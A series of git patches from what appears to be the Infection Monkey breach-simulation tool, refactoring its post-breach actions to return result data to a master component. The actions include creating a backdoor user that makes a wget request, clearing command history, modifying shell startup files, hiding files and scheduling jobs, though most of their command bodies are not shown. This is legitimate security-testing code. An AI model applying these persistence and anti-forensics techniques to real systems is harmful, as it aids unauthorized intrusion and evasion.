@@ from infection_monkey.utils.environment import is_windows_os class PostBreachTelem(BaseTelem): - def __init__(self, name: str, post_breach_data: PostBreachData) -> None: - """ - Default post breach telemetry constructor - :param name: Name of post breach action - :param command: Command used as PBA - :param result: Result of PBA - """ + + telem_category = TelemCategoryEnum.POST_BREACH + + def __init__(self, post_breach_data: PostBreachData) -> None: super(PostBreachTelem, self).__init__() - self.name = name + self.name = post_breach_data.display_name self.command = post_breach_data.command self.result = post_breach_data.result self.hostname, self.ip = PostBreachTelem._get_hostname_and_ip() - telem_category = TelemCategoryEnum.POST_BREACH - def get_data(self) -> Dict: return { "command": self.command, From 2e48d9ead9e944902725ad1ec985f868a4a25237 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 25 Mar 2022 14:11:04 +0530 Subject: [PATCH 0890/1110] Agent: Return PostBreachData in PBA's run() instead of sending PostBreachTelem --- monkey/infection_monkey/post_breach/pba.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 1ee4c3cdc..ab3a004f0 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -2,8 +2,8 @@ import logging import subprocess from common.utils.attack_utils import ScanStatus +from infection_monkey.i_puppet.i_puppet import PostBreachData from infection_monkey.telemetry.attack.t1064_telem import T1064Telem -from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils.environment import is_windows_os logger = logging.getLogger(__name__) @@ -35,7 +35,7 @@ class PBA: T1064Telem( ScanStatus.USED, f"Scripts were used to execute {self.name} post breach action." ).send() - PostBreachTelem(self, result).send() + return PostBreachData(self.name, self.command, result) else: logger.debug(f"No command available for PBA '{self.name}' on current OS, skipping.") From ee24538407fd8cb80526d11a25b5c73e97d6260c Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 25 Mar 2022 14:21:15 +0530 Subject: [PATCH 0891/1110] Agent: Modify clear command history PBA to return PostBreachData --- .../post_breach/actions/clear_command_history.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/clear_command_history.py b/monkey/infection_monkey/post_breach/actions/clear_command_history.py index f4aa5ad7b..03cb77be0 100644 --- a/monkey/infection_monkey/post_breach/actions/clear_command_history.py +++ b/monkey/infection_monkey/post_breach/actions/clear_command_history.py @@ -1,11 +1,11 @@ import subprocess from common.common_consts.post_breach_consts import POST_BREACH_CLEAR_CMD_HISTORY +from infection_monkey.i_puppet.i_puppet import PostBreachData from infection_monkey.post_breach.clear_command_history.clear_command_history import ( get_commands_to_clear_command_history, ) from infection_monkey.post_breach.pba import PBA -from infection_monkey.telemetry.post_breach_telem import PostBreachTelem class ClearCommandHistory(PBA): @@ -15,7 +15,8 @@ class ClearCommandHistory(PBA): def run(self): results = [pba.run() for pba in self.clear_command_history_PBA_list()] if results: - PostBreachTelem(self, results).send() + # Note: `self.command` is empty here + return PostBreachData(self.name, self.command, results) def clear_command_history_PBA_list(self): return self.CommandHistoryPBAGenerator().get_clear_command_history_pbas() From 24ba5e37da6843da7725eeb5f5820577f68effb7 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 25 Mar 2022 20:48:54 +0530 Subject: [PATCH 0892/1110] Agent: Modify collect running processes PBA to return PostBreachData --- .../post_breach/actions/collect_processes_list.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/collect_processes_list.py b/monkey/infection_monkey/post_breach/actions/collect_processes_list.py index 181fd5988..260d4bf18 100644 --- a/monkey/infection_monkey/post_breach/actions/collect_processes_list.py +++ b/monkey/infection_monkey/post_breach/actions/collect_processes_list.py @@ -3,6 +3,7 @@ import logging import psutil from common.common_consts.post_breach_consts import POST_BREACH_PROCESS_LIST_COLLECTION +from infection_monkey.i_puppet.i_puppet import PostBreachData from infection_monkey.post_breach.pba import PBA logger = logging.getLogger(__name__) @@ -16,9 +17,6 @@ except NameError: class ProcessListCollection(PBA): - # TODO: (?) Move all PBA consts into their classes - display_name = POST_BREACH_PROCESS_LIST_COLLECTION - def __init__(self): super().__init__(POST_BREACH_PROCESS_LIST_COLLECTION) @@ -54,4 +52,5 @@ class ProcessListCollection(PBA): } continue - return self.command, (processes, success_state) + # No command here; used psutil + return PostBreachData(self.name, "", (processes, success_state)) From 5a8e8850a584756c69f94781ed0be3562bc7021e Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 25 Mar 2022 21:00:24 +0530 Subject: [PATCH 0893/1110] Agent: Modify schedule jobs PBA to return PostBreachData --- monkey/infection_monkey/post_breach/actions/schedule_jobs.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py index e7845968a..7bffce8a2 100644 --- a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py +++ b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py @@ -21,5 +21,6 @@ class ScheduleJobs(PBA): ) def run(self): - super(ScheduleJobs, self).run() + post_breach_data = super(ScheduleJobs, self).run() remove_scheduled_jobs() + return post_breach_data From 0b2ac96deef7dcda6b80a24e52358a767afdccb9 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 25 Mar 2022 21:00:57 +0530 Subject: [PATCH 0894/1110] Agent: Modify use signed scripts PBA to return PostBreachData --- .../infection_monkey/post_breach/actions/use_signed_scripts.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py index 4f0c6bd90..085b73bb9 100644 --- a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py +++ b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py @@ -24,7 +24,7 @@ class SignedScriptProxyExecution(PBA): original_comspec = subprocess.check_output( # noqa: DUO116 "if defined COMSPEC echo %COMSPEC%", shell=True ).decode() - super().run() + return super().run() except Exception as e: logger.warning( f"An exception occurred on running PBA " From 29d40f8e9d913c175e95157ad240d697addc706a Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 28 Mar 2022 13:22:46 +0530 Subject: [PATCH 0895/1110] Agent: Modify communicates as backdoor user PBA to return PostBreachData --- .../actions/communicate_as_backdoor_user.py | 36 ++++++++++--------- 1 file changed, 19 insertions(+), 17 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py index 03126dec0..d93be17e1 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py @@ -5,8 +5,8 @@ import string import subprocess from common.common_consts.post_breach_consts import POST_BREACH_COMMUNICATE_AS_BACKDOOR_USER +from infection_monkey.i_puppet.i_puppet import PostBreachData from infection_monkey.post_breach.pba import PBA -from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils.auto_new_user_factory import create_auto_new_user from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.new_user_error import NewUserError @@ -49,11 +49,16 @@ class CommunicateAsBackdoorUser(PBA): ) ) exit_status = new_user.run_as(http_request_commandline) - self.send_result_telemetry(exit_status, http_request_commandline, username) + result = self._get_result_for_telemetry( + exit_status, http_request_commandline, username + ) + # `command` is empty here; we could get the command from `new_user` but that + # doesn't work either since Windows doesn't use a command, it uses win32 modules + return PostBreachData(self.name, "", result) except subprocess.CalledProcessError as e: - PostBreachTelem(self, (e.output.decode(), False)).send() + return PostBreachData(self.name, "", (e.output.decode(), False)) except NewUserError as e: - PostBreachTelem(self, (str(e), False)).send() + return PostBreachData(self.name, "", (str(e), False)) @staticmethod def get_random_new_user_name(): @@ -79,28 +84,25 @@ class CommunicateAsBackdoorUser(PBA): format_string = "wget -O/dev/null -q {url} --method=HEAD --timeout=10" return format_string.format(url=url) - def send_result_telemetry(self, exit_status, commandline, username): + def _get_result_for_telemetry(self, exit_status, commandline, username): """ - Parses the result of the command and sends telemetry accordingly. + Parses the result of the command and returns it to be sent as telemetry from the master. :param exit_status: In both Windows and Linux, 0 exit code indicates success. :param commandline: Exact commandline which was executed, for reporting back. :param username: Username from which the command was executed, for reporting back. """ if exit_status == 0: - PostBreachTelem( - self, (CREATED_PROCESS_AS_USER_SUCCESS_FORMAT.format(commandline, username), True) - ).send() + result = (CREATED_PROCESS_AS_USER_SUCCESS_FORMAT.format(commandline, username), True) else: - PostBreachTelem( - self, - ( - CREATED_PROCESS_AS_USER_FAILED_FORMAT.format( - commandline, username, exit_status, twos_complement(exit_status) - ), - False, + result = ( + CREATED_PROCESS_AS_USER_FAILED_FORMAT.format( + commandline, username, exit_status, twos_complement(exit_status) ), - ).send() + False, + ) + + return result def twos_complement(exit_status): From 8418a5ce771d9271ea121c2f39905a3a0356d334 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 28 Mar 2022 13:56:18 +0530 Subject: [PATCH 0896/1110] Agent: Modify modify shell startup files PBA to return PostBreachData --- .../post_breach/actions/modify_shell_startup_files.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py index 3283bcc94..ebaf9dfc1 100644 --- a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py +++ b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py @@ -1,11 +1,11 @@ import subprocess from common.common_consts.post_breach_consts import POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION +from infection_monkey.i_puppet.i_puppet import PostBreachData from infection_monkey.post_breach.pba import PBA from infection_monkey.post_breach.shell_startup_files.shell_startup_files_modification import ( get_commands_to_modify_shell_startup_files, ) -from infection_monkey.telemetry.post_breach_telem import PostBreachTelem class ModifyShellStartupFiles(PBA): @@ -27,7 +27,9 @@ class ModifyShellStartupFiles(PBA): False, ) ] - PostBreachTelem(self, results).send() + # `command` is empty here since multiple commands were run and the results + # were aggregated to send the telemetry just once + return PostBreachData(self.name, "", results).send() def modify_shell_startup_PBA_list(self): return self.ShellStartupPBAGenerator().get_modify_shell_startup_pbas() From 28ff1128722478019b44247caef806a12561bd47 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 28 Mar 2022 17:15:06 +0530 Subject: [PATCH 0897/1110] Agent: Modify hide files PBA to return PostBreachData --- monkey/infection_monkey/master/automated_master.py | 10 ++++++++-- .../infection_monkey/post_breach/actions/hide_files.py | 8 +++++--- 2 files changed, 13 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index c1ced257c..f70d90b46 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -198,8 +198,14 @@ class AutomatedMaster(IMaster): name = pba[0] options = pba[1] - result = self._puppet.run_pba(name, options) - self._telemetry_messenger.send_telemetry(PostBreachTelem(result)) + # TEMPORARY; TO AVOID ERRORS SINCE THIS ISN'T IMPLEMENTED YET + if name == "Custom": + return + + for pba_data in self._puppet.run_pba(name, options): + self._telemetry_messenger.send_telemetry( + PostBreachTelem(pba_data.display_name, pba_data.command, pba_data.result) + ) def _can_propagate(self) -> bool: return True diff --git a/monkey/infection_monkey/post_breach/actions/hide_files.py b/monkey/infection_monkey/post_breach/actions/hide_files.py index c6e1d1a6b..6bbeefa68 100644 --- a/monkey/infection_monkey/post_breach/actions/hide_files.py +++ b/monkey/infection_monkey/post_breach/actions/hide_files.py @@ -1,6 +1,6 @@ from common.common_consts.post_breach_consts import POST_BREACH_HIDDEN_FILES +from infection_monkey.i_puppet.i_puppet import PostBreachData from infection_monkey.post_breach.pba import PBA -from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.hidden_files import ( cleanup_hidden_files, @@ -29,10 +29,12 @@ class HiddenFiles(PBA): linux_cmd=" ".join(linux_cmds), windows_cmd=windows_cmds, ) - super(HiddenFiles, self).run() + yield super(HiddenFiles, self).run() + if is_windows_os(): # use winAPI result, status = get_winAPI_to_hide_files() - PostBreachTelem(self, (result, status)).send() + # no command here, used WinAPI + yield PostBreachData(self.name, "", (result, status)) # cleanup hidden files and folders cleanup_hidden_files(is_windows_os()) From ec2b2beca5b15aee5a91b77b27431dc94bdaddf7 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 28 Mar 2022 17:16:50 +0530 Subject: [PATCH 0898/1110] Agent: Modify PBAs to yield PostBreachData instead of returning it This is done mainly because of the hide files PBA which needs to send telemetry two times. It also makes more sense to do it this way so that it's easier to send telemetry multiple times in any PBA. --- .../post_breach/actions/clear_command_history.py | 2 +- .../post_breach/actions/collect_processes_list.py | 2 +- .../post_breach/actions/communicate_as_backdoor_user.py | 6 +++--- .../post_breach/actions/modify_shell_startup_files.py | 2 +- monkey/infection_monkey/post_breach/pba.py | 2 +- monkey/infection_monkey/puppet/mock_puppet.py | 4 ++-- 6 files changed, 9 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/clear_command_history.py b/monkey/infection_monkey/post_breach/actions/clear_command_history.py index 03cb77be0..9baa3dc67 100644 --- a/monkey/infection_monkey/post_breach/actions/clear_command_history.py +++ b/monkey/infection_monkey/post_breach/actions/clear_command_history.py @@ -16,7 +16,7 @@ class ClearCommandHistory(PBA): results = [pba.run() for pba in self.clear_command_history_PBA_list()] if results: # Note: `self.command` is empty here - return PostBreachData(self.name, self.command, results) + yield PostBreachData(self.name, self.command, results) def clear_command_history_PBA_list(self): return self.CommandHistoryPBAGenerator().get_clear_command_history_pbas() diff --git a/monkey/infection_monkey/post_breach/actions/collect_processes_list.py b/monkey/infection_monkey/post_breach/actions/collect_processes_list.py index 260d4bf18..782c771dc 100644 --- a/monkey/infection_monkey/post_breach/actions/collect_processes_list.py +++ b/monkey/infection_monkey/post_breach/actions/collect_processes_list.py @@ -53,4 +53,4 @@ class ProcessListCollection(PBA): continue # No command here; used psutil - return PostBreachData(self.name, "", (processes, success_state)) + yield PostBreachData(self.name, "", (processes, success_state)) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py index d93be17e1..36c96b126 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py @@ -54,11 +54,11 @@ class CommunicateAsBackdoorUser(PBA): ) # `command` is empty here; we could get the command from `new_user` but that # doesn't work either since Windows doesn't use a command, it uses win32 modules - return PostBreachData(self.name, "", result) + yield PostBreachData(self.name, "", result) except subprocess.CalledProcessError as e: - return PostBreachData(self.name, "", (e.output.decode(), False)) + yield PostBreachData(self.name, "", (e.output.decode(), False)) except NewUserError as e: - return PostBreachData(self.name, "", (str(e), False)) + yield PostBreachData(self.name, "", (str(e), False)) @staticmethod def get_random_new_user_name(): diff --git a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py index ebaf9dfc1..75b2e1a55 100644 --- a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py +++ b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py @@ -29,7 +29,7 @@ class ModifyShellStartupFiles(PBA): ] # `command` is empty here since multiple commands were run and the results # were aggregated to send the telemetry just once - return PostBreachData(self.name, "", results).send() + yield PostBreachData(self.name, "", results).send() def modify_shell_startup_PBA_list(self): return self.ShellStartupPBAGenerator().get_modify_shell_startup_pbas() diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index ab3a004f0..449c06186 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -35,7 +35,7 @@ class PBA: T1064Telem( ScanStatus.USED, f"Scripts were used to execute {self.name} post breach action." ).send() - return PostBreachData(self.name, self.command, result) + yield PostBreachData(self.name, self.command, result) else: logger.debug(f"No command available for PBA '{self.name}' on current OS, skipping.") diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index 0196076ad..5f707acd7 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -53,9 +53,9 @@ class MockPuppet(IPuppet): logger.debug(f"run_pba({name}, {options})") if name == "AccountDiscovery": - return PostBreachData(name, "pba command 1", ["pba result 1", True]) + yield PostBreachData(name, "pba command 1", ["pba result 1", True]) else: - return PostBreachData(name, "pba command 2", ["pba result 2", False]) + yield PostBreachData(name, "pba command 2", ["pba result 2", False]) def ping(self, host: str, timeout: float = 1) -> PingScanData: logger.debug(f"run_ping({host}, {timeout})") From 778f2305898bfa12251299818ba241eb3e067656 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 28 Mar 2022 20:26:03 +0530 Subject: [PATCH 0899/1110] Agent: Modify remaining PBAs to yield PostBreachData --- monkey/infection_monkey/post_breach/actions/schedule_jobs.py | 2 +- .../infection_monkey/post_breach/actions/use_signed_scripts.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py index 7bffce8a2..8846efcf9 100644 --- a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py +++ b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py @@ -23,4 +23,4 @@ class ScheduleJobs(PBA): def run(self): post_breach_data = super(ScheduleJobs, self).run() remove_scheduled_jobs() - return post_breach_data + yield post_breach_data diff --git a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py index 085b73bb9..984fc0f66 100644 --- a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py +++ b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py @@ -24,7 +24,7 @@ class SignedScriptProxyExecution(PBA): original_comspec = subprocess.check_output( # noqa: DUO116 "if defined COMSPEC echo %COMSPEC%", shell=True ).decode() - return super().run() + yield super().run() except Exception as e: logger.warning( f"An exception occurred on running PBA " From 61ff95b5682a97b12923cecf830f77c256d179ec Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 29 Mar 2022 11:13:33 +0530 Subject: [PATCH 0900/1110] Agent: Modify PBAs to return Iterable[PostBreachData] --- .../post_breach/actions/clear_command_history.py | 5 +++-- .../post_breach/actions/collect_processes_list.py | 3 ++- .../post_breach/actions/communicate_as_backdoor_user.py | 8 +++++--- monkey/infection_monkey/post_breach/actions/hide_files.py | 6 ++++-- .../post_breach/actions/modify_shell_startup_files.py | 3 ++- .../infection_monkey/post_breach/actions/schedule_jobs.py | 4 ++-- .../post_breach/actions/use_signed_scripts.py | 3 ++- monkey/infection_monkey/post_breach/pba.py | 7 +++++-- 8 files changed, 25 insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/clear_command_history.py b/monkey/infection_monkey/post_breach/actions/clear_command_history.py index 9baa3dc67..036c32d25 100644 --- a/monkey/infection_monkey/post_breach/actions/clear_command_history.py +++ b/monkey/infection_monkey/post_breach/actions/clear_command_history.py @@ -15,8 +15,9 @@ class ClearCommandHistory(PBA): def run(self): results = [pba.run() for pba in self.clear_command_history_PBA_list()] if results: - # Note: `self.command` is empty here - yield PostBreachData(self.name, self.command, results) + # `self.command` is empty here + self.pba_data.append(PostBreachData(self.name, self.command, results)) + return self.pba_data def clear_command_history_PBA_list(self): return self.CommandHistoryPBAGenerator().get_clear_command_history_pbas() diff --git a/monkey/infection_monkey/post_breach/actions/collect_processes_list.py b/monkey/infection_monkey/post_breach/actions/collect_processes_list.py index 782c771dc..5f18e0e33 100644 --- a/monkey/infection_monkey/post_breach/actions/collect_processes_list.py +++ b/monkey/infection_monkey/post_breach/actions/collect_processes_list.py @@ -53,4 +53,5 @@ class ProcessListCollection(PBA): continue # No command here; used psutil - yield PostBreachData(self.name, "", (processes, success_state)) + self.pba_data.append(PostBreachData(self.name, "", (processes, success_state))) + return self.pba_data diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py index 36c96b126..73ef0fa3b 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py @@ -54,11 +54,13 @@ class CommunicateAsBackdoorUser(PBA): ) # `command` is empty here; we could get the command from `new_user` but that # doesn't work either since Windows doesn't use a command, it uses win32 modules - yield PostBreachData(self.name, "", result) + self.pba_data.append(PostBreachData(self.name, "", result)) except subprocess.CalledProcessError as e: - yield PostBreachData(self.name, "", (e.output.decode(), False)) + self.pba_data.append(PostBreachData(self.name, "", (e.output.decode(), False))) except NewUserError as e: - yield PostBreachData(self.name, "", (str(e), False)) + self.pba_data.append(PostBreachData(self.name, "", (str(e), False))) + finally: + return self.pba_data @staticmethod def get_random_new_user_name(): diff --git a/monkey/infection_monkey/post_breach/actions/hide_files.py b/monkey/infection_monkey/post_breach/actions/hide_files.py index 6bbeefa68..1a2f3472d 100644 --- a/monkey/infection_monkey/post_breach/actions/hide_files.py +++ b/monkey/infection_monkey/post_breach/actions/hide_files.py @@ -29,12 +29,14 @@ class HiddenFiles(PBA): linux_cmd=" ".join(linux_cmds), windows_cmd=windows_cmds, ) - yield super(HiddenFiles, self).run() + super(HiddenFiles, self).run() if is_windows_os(): # use winAPI result, status = get_winAPI_to_hide_files() # no command here, used WinAPI - yield PostBreachData(self.name, "", (result, status)) + self.pba_data.append(PostBreachData(self.name, "", (result, status))) # cleanup hidden files and folders cleanup_hidden_files(is_windows_os()) + + return self.pba_data diff --git a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py index 75b2e1a55..bb1a653f8 100644 --- a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py +++ b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py @@ -29,7 +29,8 @@ class ModifyShellStartupFiles(PBA): ] # `command` is empty here since multiple commands were run and the results # were aggregated to send the telemetry just once - yield PostBreachData(self.name, "", results).send() + self.pba_data.append(PostBreachData(self.name, "", results)) + return self.pba_data def modify_shell_startup_PBA_list(self): return self.ShellStartupPBAGenerator().get_modify_shell_startup_pbas() diff --git a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py index 8846efcf9..37649488b 100644 --- a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py +++ b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py @@ -21,6 +21,6 @@ class ScheduleJobs(PBA): ) def run(self): - post_breach_data = super(ScheduleJobs, self).run() + super(ScheduleJobs, self).run() remove_scheduled_jobs() - yield post_breach_data + return self.pba_data diff --git a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py index 984fc0f66..f6066fecb 100644 --- a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py +++ b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py @@ -24,7 +24,8 @@ class SignedScriptProxyExecution(PBA): original_comspec = subprocess.check_output( # noqa: DUO116 "if defined COMSPEC echo %COMSPEC%", shell=True ).decode() - yield super().run() + super().run() + return self.pba_data except Exception as e: logger.warning( f"An exception occurred on running PBA " diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 449c06186..8b50f08ba 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -1,5 +1,6 @@ import logging import subprocess +from typing import Iterable from common.utils.attack_utils import ScanStatus from infection_monkey.i_puppet.i_puppet import PostBreachData @@ -23,8 +24,9 @@ class PBA: """ self.command = PBA.choose_command(linux_cmd, windows_cmd) self.name = name + self.pba_data = [] - def run(self): + def run(self) -> Iterable[PostBreachData]: """ Runs post breach action command """ @@ -35,7 +37,8 @@ class PBA: T1064Telem( ScanStatus.USED, f"Scripts were used to execute {self.name} post breach action." ).send() - yield PostBreachData(self.name, self.command, result) + self.pba_data.append(PostBreachData(self.name, self.command, result)) + return self.pba_data else: logger.debug(f"No command available for PBA '{self.name}' on current OS, skipping.") From 1f2867a70a75360a38ba894986b2795bc34a5a08 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 29 Mar 2022 11:16:51 +0530 Subject: [PATCH 0901/1110] Project: Add ProcessListCollection to Vulture's allowlist --- vulture_allowlist.py | 1 + 1 file changed, 1 insertion(+) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 63094f3ae..687a9b497 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -92,6 +92,7 @@ AccountDiscovery # unused class (monkey/infection_monkey/post_breach/actions/di ModifyShellStartupFiles # unused class (monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py:11) Timestomping # unused class (monkey/infection_monkey/post_breach/actions/timestomping.py:6) SignedScriptProxyExecution # unused class (monkey/infection_monkey/post_breach/actions/use_signed_scripts.py:15) +ProcessListCollection # unused class (monkey/infection_monkey/post_breach/actions/collect_processes_list.py:19) EnvironmentCollector # unused class (monkey/infection_monkey/system_info/collectors/environment_collector.py:19) HostnameCollector # unused class (monkey/infection_monkey/system_info/collectors/hostname_collector.py:10) _.representations # unused attribute (monkey/monkey_island/cc/app.py:180) From ba49e4d23ec56dbcc4f8e395ad3c80901f69e8f5 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 29 Mar 2022 14:17:50 +0300 Subject: [PATCH 0902/1110] Agent: Small style improvements in PBA code --- .../post_breach/actions/collect_processes_list.py | 2 +- .../actions/communicate_as_backdoor_user.py | 13 ++++++++----- .../post_breach/actions/hide_files.py | 2 +- .../actions/modify_shell_startup_files.py | 14 ++++++++------ .../post_breach/actions/use_signed_scripts.py | 2 +- 5 files changed, 19 insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/collect_processes_list.py b/monkey/infection_monkey/post_breach/actions/collect_processes_list.py index 5f18e0e33..d0a5c5e0d 100644 --- a/monkey/infection_monkey/post_breach/actions/collect_processes_list.py +++ b/monkey/infection_monkey/post_breach/actions/collect_processes_list.py @@ -53,5 +53,5 @@ class ProcessListCollection(PBA): continue # No command here; used psutil - self.pba_data.append(PostBreachData(self.name, "", (processes, success_state))) + self.pba_data.append(PostBreachData(self.name, self.command, (processes, success_state))) return self.pba_data diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py index 73ef0fa3b..4dca6ac06 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py @@ -49,16 +49,18 @@ class CommunicateAsBackdoorUser(PBA): ) ) exit_status = new_user.run_as(http_request_commandline) - result = self._get_result_for_telemetry( + result = CommunicateAsBackdoorUser._get_result_for_telemetry( exit_status, http_request_commandline, username ) # `command` is empty here; we could get the command from `new_user` but that # doesn't work either since Windows doesn't use a command, it uses win32 modules - self.pba_data.append(PostBreachData(self.name, "", result)) + self.pba_data.append(PostBreachData(self.name, self.command, result)) except subprocess.CalledProcessError as e: - self.pba_data.append(PostBreachData(self.name, "", (e.output.decode(), False))) + self.pba_data.append( + PostBreachData(self.name, self.command, (e.output.decode(), False)) + ) except NewUserError as e: - self.pba_data.append(PostBreachData(self.name, "", (str(e), False))) + self.pba_data.append(PostBreachData(self.name, self.command, (str(e), False))) finally: return self.pba_data @@ -86,7 +88,8 @@ class CommunicateAsBackdoorUser(PBA): format_string = "wget -O/dev/null -q {url} --method=HEAD --timeout=10" return format_string.format(url=url) - def _get_result_for_telemetry(self, exit_status, commandline, username): + @staticmethod + def _get_result_for_telemetry(exit_status, commandline, username): """ Parses the result of the command and returns it to be sent as telemetry from the master. diff --git a/monkey/infection_monkey/post_breach/actions/hide_files.py b/monkey/infection_monkey/post_breach/actions/hide_files.py index 1a2f3472d..e3123192c 100644 --- a/monkey/infection_monkey/post_breach/actions/hide_files.py +++ b/monkey/infection_monkey/post_breach/actions/hide_files.py @@ -34,7 +34,7 @@ class HiddenFiles(PBA): if is_windows_os(): # use winAPI result, status = get_winAPI_to_hide_files() # no command here, used WinAPI - self.pba_data.append(PostBreachData(self.name, "", (result, status))) + self.pba_data.append(PostBreachData(self.name, self.command, (result, status))) # cleanup hidden files and folders cleanup_hidden_files(is_windows_os()) diff --git a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py index bb1a653f8..5a966e92d 100644 --- a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py +++ b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py @@ -29,14 +29,16 @@ class ModifyShellStartupFiles(PBA): ] # `command` is empty here since multiple commands were run and the results # were aggregated to send the telemetry just once - self.pba_data.append(PostBreachData(self.name, "", results)) + self.pba_data.append(PostBreachData(self.name, self.command, results)) return self.pba_data - def 